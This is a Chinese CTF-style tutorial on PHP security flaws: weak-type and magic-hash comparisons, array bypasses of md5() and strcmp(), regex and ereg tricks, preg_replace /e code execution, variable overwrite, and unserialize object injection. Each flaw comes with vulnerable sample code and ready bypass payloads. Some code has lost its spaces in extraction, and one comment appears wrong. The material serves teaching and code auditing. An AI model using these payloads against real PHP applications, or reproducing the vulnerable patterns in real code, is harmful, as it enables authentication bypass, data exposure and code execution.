|
|
一、前言
PHP 是服务器端脚本语言,比较松散,既方便,但也容易出现一些问题。本文主要概括常见的PHP弱类型、正则表达式、反序列化、伪协议、容易出现漏洞的函数和变量覆盖等的内容,在CTF这方面也经常出现在代码审计相关的题目中。
二、弱类型
"=="与"==="的区别
- 在PHP中===表示全等运算符,而==表示等于运算符;
- 如果等于运算符两边的值相等,则返回true,而如果全等运算符两边的值相且类型相等,才返回true。
在使用"=="时会自动转换类型,而"==="则是校验类型,而非转换。
示例:
<?php
if (2==&#39;2&#39;){
echo &#34;2==&#39;2&#39; &#34; . &#39;true&#39;;
echo &#34;<br />&#34;;
}
else{
echo &#34;2==&#39;2&#39; &#34; . &#39;false&#39;;
echo &#34;<br />&#34;;
}
if (2==&#39;2abcd&#39;){
echo &#34;2==&#39;2abcd&#39; &#34; . &#39;true&#39;;
echo &#34;<br />&#34;;
}
else{
echo &#34;2==&#39;2abcd&#39; &#34; . &#39;false&#39;;
echo &#34;<br />&#34;;
}
if (2==&#39;a2bcd&#39;){
echo &#34;2==&#39;a2bcd&#39; &#34; . &#39;true&#39;;
echo &#34;<br />&#34;;
}
else{
echo &#34;2==&#39;a2bcd&#39; &#34; . &#39;false&#39;;
echo &#34;<br />&#34;;
}
if (0==&#39;abcd&#39;){
echo &#34;0==&#39;abcd&#39; &#34; . &#39;true&#39;;
echo &#34;<br />&#34;;
}
else{
echo &#34;0==&#39;abcd&#39; &#34; . &#39;false&#39;;
echo &#34;<br />&#34;;
}
if (0===&#39;abcd&#39;){
echo &#34;0==&#39;abcd&#39; &#34; . &#39;true&#39;;
echo &#34;<br />&#34;;
}
else{
echo &#34;0==&#39;abcd&#39; &#34; . &#39;false&#39;;
echo &#34;<br />&#34;;
}
?>
运行结果:
2==&#39;2&#39; true
2==&#39;2abcd&#39; true
2==&#39;a2bcd&#39; false
0==&#39;abcd&#39; true
0==&#39;abcd&#39; false
结论:
数值与字符串比较(==)时,字符串会发生自动类型转换,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
Hash比较
使用&#34;==&#34;时,如果字符串满足0e\d+,解析为科学计数法(0的多少次方都为0),否则视为字符串。
(\d+表示匹配一个或多个数字)
示例:
<?php
if (&#39;0e1234567&#39;==&#39;0e765436100123&#39;){
echo &#39;true&#39; . &#39;<br />&#39;;
}
else{
echo &#39;false&#39; . &#39;<br />&#39;;
}
if (&#39;0e1326abc&#39;==&#39;0e1326akff&#39;){
echo &#39;true&#39; . &#39;<br />&#39;;
}
else{
echo &#39;false&#39; . &#39;<br />&#39;;
}
if (md5(&#39;240610708&#39;)==md5(&#39;QNKCDZO&#39;)){
echo &#39;true&#39; . &#39;<br />&#39;;
}
?>
运行结果:
true
false
true
以0e开头的字符串的MD5值:
md5(QNKCDZO):0e830400451993494058024219903391
md5(s155964671a):0e342768416822451524974117254469
md5(s214587387a):0e848240448830537924465865611904
md5(s878926199a):0e545993274517709034328855841020
md5(s1091221200a):0e940624217856561557816327384675
md5(s1885207154a):0e509367213418206700842008763514
md5(s878926199a):0e545993274517709034328855841020
md5(s214587387a):0e848240448830537924465865611904
MD5绕过实践1
<?php
include(&#34;./include.php&#34;);
highlight_file(__FILE__);
if(isset($_GET[&#34;v1&#34;]) && isset($_GET[&#39;v2&#39;])){
$islogin = true;
$v1 = $_GET[&#39;v1&#39;];
$v2 = $_GET[&#39;v2&#39;];
if (!ctype_alpha($v1)){$islogin = false;}
if(!is_numeric($v2)){$islogin = false;}
if(md5($v1)!=md5($v2)){$islogin = false;}
if($islogin){
echo $flag;
}
else{
echo &#34;failed!&#34;;
}
}
?>
思路:找两个“0e”开头的字母和数字字符串。
payload:?v1=QNKCDZO&v2=240610708
MD5绕过实践2
<?php
include(&#34;./flag.php&#34;);
highlight_file(__FILE__);
if(isset($_GET[&#39;md5&#39;])){
$md5 = $_GET[&#39;md5&#39;];
if($md5==md5($md5)){
echo $flag;
}
else{
echo htmlspecialchars($md5) . &#34;is not the same as &#34; . md5($md5);
}
}
?>
代码的逻辑:接收一个“md5”的参数,然后对这个参数进行md5计算,如果计算的md5值与输入的参数相等,就可以通过验证。
JSON绕过实践3
<?php
include(&#34;./flag.php&#34;);
highlight_file(__FILE__);
if(isset($_POST[&#39;message&#39;])){
$message = json_decode($_POST[&#39;message&#39;]);
$key = &#39;******&#39;;
if($message->key == $key){
echo &#34;Correct! Here is flag:&#34; . $flag;
}
else{
echo &#34;Try to guess again&#34;;
}
}
else{
echo &#34;You need to post the right data!&#34;;
}
?>
代码逻辑:接收一个POST方法的数据,然后调用json_decode将数据解码,如果解码后的key值等于预先定义好的变量$key值,就可以拿到flag。
payload:message={&#34;key&#34;:0}
is_numeric()函数当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过,&#34;=&#34;优先级比and高。
<?php
$a = $_GET[&#39;a&#39;];
$b = $_GET[&#39;b&#39;];
$c = is_numeric($a) and is_numeric($b);
var_dump(is_numeric($a));
var_dump(is_numeric($b));
var_dump($c); //$b可以不是数字,同样返回true
$test = true and false;
var_dump($test); //返回true
?>
http://localhost/demo.php?a=1&b=s测试结果:
D:\phpstudy_pro\WWW\demo.php:5:boolean true
D:\phpstudy_pro\WWW\demo.php:6:boolean false
D:\phpstudy_pro\WWW\demo.php:7:boolean true
D:\phpstudy_pro\WWW\demo.php:9:boolean true
in_array(),array_search()函数boolin_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),
如果strict参数没有提供或为false,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strict参数的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。
<?php
$array = [1,2,3,0,&#39;3&#39;];
var_dump(in_array(&#39;abcd&#39;, $array)); //true
var_dump(in_array(&#39;1bcd&#39;, $array)); //true
?>
switch()函数如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。
<?php
$a = &#39;2abc&#39;;
switch($a){
case0:
case1:
case2:
echo&#39;I is less than 3 but not negative&#39; . &#39;<br />&#39;;
case3:
echo&#39;I is 3&#39;;
}
?>
运行结果:
Iis less than 3 but not negative
I is 3
strcmp()函数strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算。
在PHP5.3版本之后使用这个函数比较array跟sring会返回null。
<?php
if ((isset($_GET[&#39;v1&#39;])) && isset($_GET[&#39;v2&#39;]) && isset($_GET[&#39;v3&#39;])){
$v1 = $_GET[&#39;v1&#39;];
$v2 = $_GET[&#39;v2&#39;];
$v3 = $_GET[&#39;v3&#39;];
if ($v1!=$v2 && md5($v1)==md5($v2)){
if(!strcmp($v3,$flag)){
echo$flag;
}
}
}
?>
利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会 认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
Payload1:?v1[]=1&v2[]=2&v3[]=1
Payload2:?v1=240610708&v2=QNKCDZO&v3[]=1
传入数组返回null系列md5()是不能处理数组的,md5(数组)会返回null,同理的有sha1(),strlen(),eregx()。
<?php
$array1[] = array(&#39;foo&#39;=>&#39;bar&#39;, &#39;bar&#39;=>&#39;foo&#39;);
$array2 = array(&#39;foo&#39;, &#39;bar&#39;, &#39;hello&#39;, &#39;world&#39;);
var_dump(md5($array1)); //null
var_dump(md5($array1)==var_dump($array2)); //true
?>
十六进制转换使用&#34;==&#34;时,PHP会将十六进制转换为十进制然后再进行比较。
<?php
var_dump(&#34;0x1e240&#34; == &#34;123456&#34;); //true
echo&#34;<br />&#34;;
var_dump(&#34;0x1e240&#34; == 123456); //true
echo&#34;<br />&#34;;
var_dump(&#34;0x1e240&#34; == &#34;1e240&#34;); //false
?>
三、正则表达式
preg_match函数如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。
<?php
$ip = &#39;1.1.1.1 abcd&#39;;
if(!preg_match(&#34;/(\d+)\.(\d+)\.(\d+)\.(\d+)/&#34;, $ip)){
die(&#39;error&#39;);
}
else{
echo(&#39;key...&#39;);
}
?>
$ip可以绕过,运行结果:key...
ereg()函数字符串对比解析,当ereg读取字符串string时,%00后面的字符串不会被解析。
<?php
if(ereg(&#34;^[a-zA-Z]+$&#34;, $_GET[&#39;a&#39;])===FALSE){
echo&#39;Your password must be alphabet&#39;;
}
echo&#39;flag&#39;;
?>
eregi不区分大小写,ereg区分大小写。
preg_replace函数preg_replace()的第一个参数如果存在 /e 模式修饰符,则允许代码执行。
如果没有 /e 修饰符,可以尝试 %00 截断。
<?php
preg_replace(&#34;/test/e&#34;, $_GET[&#39;a&#39;], &#34;just test&#34;);
?>
?a=phpinfo(),运行结果:

四、变量覆盖
$$的使用$$变量即可变变量,将一个变量的值加上 $ 来作为 另一个变量的名字
演示代码:
<?php
$x = &#39;hello&#39;;
$$x = 666;
echo$x;
echo&#39;<br />&#39;;
echo$$x;
echo&#39;<br />&#39;;
echo$$x === $hello;
?>
运行结果:
hello
666
1
可变变量 $$x 将 $x 的值 hello 拿来拼接上 $ 变成了 $hello ,于是$$x === $hello ;
$$变量覆盖问题经常在php代码审计中与 foreach() 遍历数组来出题,本地漏洞利用 代码示例:
<?php
foreach(array(&#39;_GET&#39;, &#39;_post&#39;) as $key){
if($$key){
var_dump($$key); # 输出 GET 或 POST 方式提交的数据
foreach($$key as $key2 => $_value){
$$key2 = $_value;
}
}
}
if(isset($flag)){
if($flag === &#39;hack&#39;){
echo&#34;goog job, this isflag{xxxxxx}&#34;;
}else{
echo&#34;nothing here&#34;;
}
}else{
echo&#34;no no no&#34;;
}
?>
使用 GET 或者 POST 方式传参,就能触发 $$ 变量覆盖, 显然, 当我们传入 ?flag=hack 时,php 首先将 get 传参变成数组赋给全局变量 $_GET = array(‘flag’ => &#39;hack’) ,经过第一次foreach 之后, $$key 就是$_GET , 而 $key2 = flag , $_vlaue = hack ;再经过第二次foreach 之后,$$key2 = $flag 。
此时便意外创建了一个变量为 $flag ,并且被赋值后$flag === ‘hack’ 形成漏洞。

parse_str()函数parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。
在没有array参数的情况下使用此函数,
并且在PHP 7.2中将废弃不设置参数的行为,此函数没有返回值。
<?php
$a = &#34;giao&#34;;
echo&#34;a:&#34; . $a;
echo&#34;<br>&#34;;
$b = $_GET[&#39;b&#39;];
parse_str($b);
echo&#34;a_2:&#34; . $a;
?>

extract()函数extract(array,extract_rules,prefix)函数
https://www.runoob.com/php/func-array-extract.html
该函数可以从数组中将变量导入到当前的符号表,即将数组中的键值对注册成函数,使用数组键名作为变量名,使用数组键值作为变量值。
这里我们要注意一下该函数的第二个参数
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
这就为我们提供了覆盖的可能。
<?php
$a = &#39;a&#39;;
echo$a . &#39;</br>&#39;;
extract($_GET);
echo$a;
?>
初始变量值为a但是覆盖之后就变成了我们输入的值:

五、PHP反序列化
相关概念serialize()函数——将PHP中的变量如对象(Object)、数组(Array)等序列化为字符串
unserialize()函数——将序列化的字符串转换为原先的值。
PHP反序列化漏洞,又称为对象注入,可能会导致远程代码执行(RCE)
当执行unserialize()函数时,会调用某一类执行其魔术方法,之后可以执行类中的函数,从而产生安全问题。
漏洞产生的前提:
1)unserialize()函数变量可控
2)存在可利用的类,类中有魔术方法
演示1利用反序列化输出$GLOBALS<?php
require_once(&#39;flag.php&#39;);
highlight_file(__FILE__);
classA{
private$user = &#39;test&#39;;
function__destruct(){
if($this->user == &#39;admin&#39;){
var_dump($GLOBALS);
}
}
}
$data = $_GET[&#39;data&#39;];
unserialize($data);
?>
反序列化后user为admin时输出$GLOBALS,输出当前php页面全局变量。
构造payload:test.php如下:
<?php
classA{
private$user = &#39;admin&#39;;
}
echourlencode(serialize(newA()));
访问test.php:

获得url编码序列化后的值为:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00user%22%3Bs%3A5%3A%22admin%22%3B%7D,传给data后即可输出全局变量:

得到flag。
演示2__wakeup绕过在反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
php语言的特性:在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法。
构造payload.php文件:
<?php
classA{
private$filename = &#39;flag.php&#39;;
}
echourlencode(serialize(newA));
?>
运行得到:
O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
传给data后:

发现反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt
将对象属性个数的值大于真实的属性个数时即可绕过:
O:1:&#34;A&#34;:1:{s:11:&#34;Afilename&#34;;s:8:&#34;flag.php&#34;;}将标红的1修改为大于1的数字即可。

成功绕过,得到flag。 |
|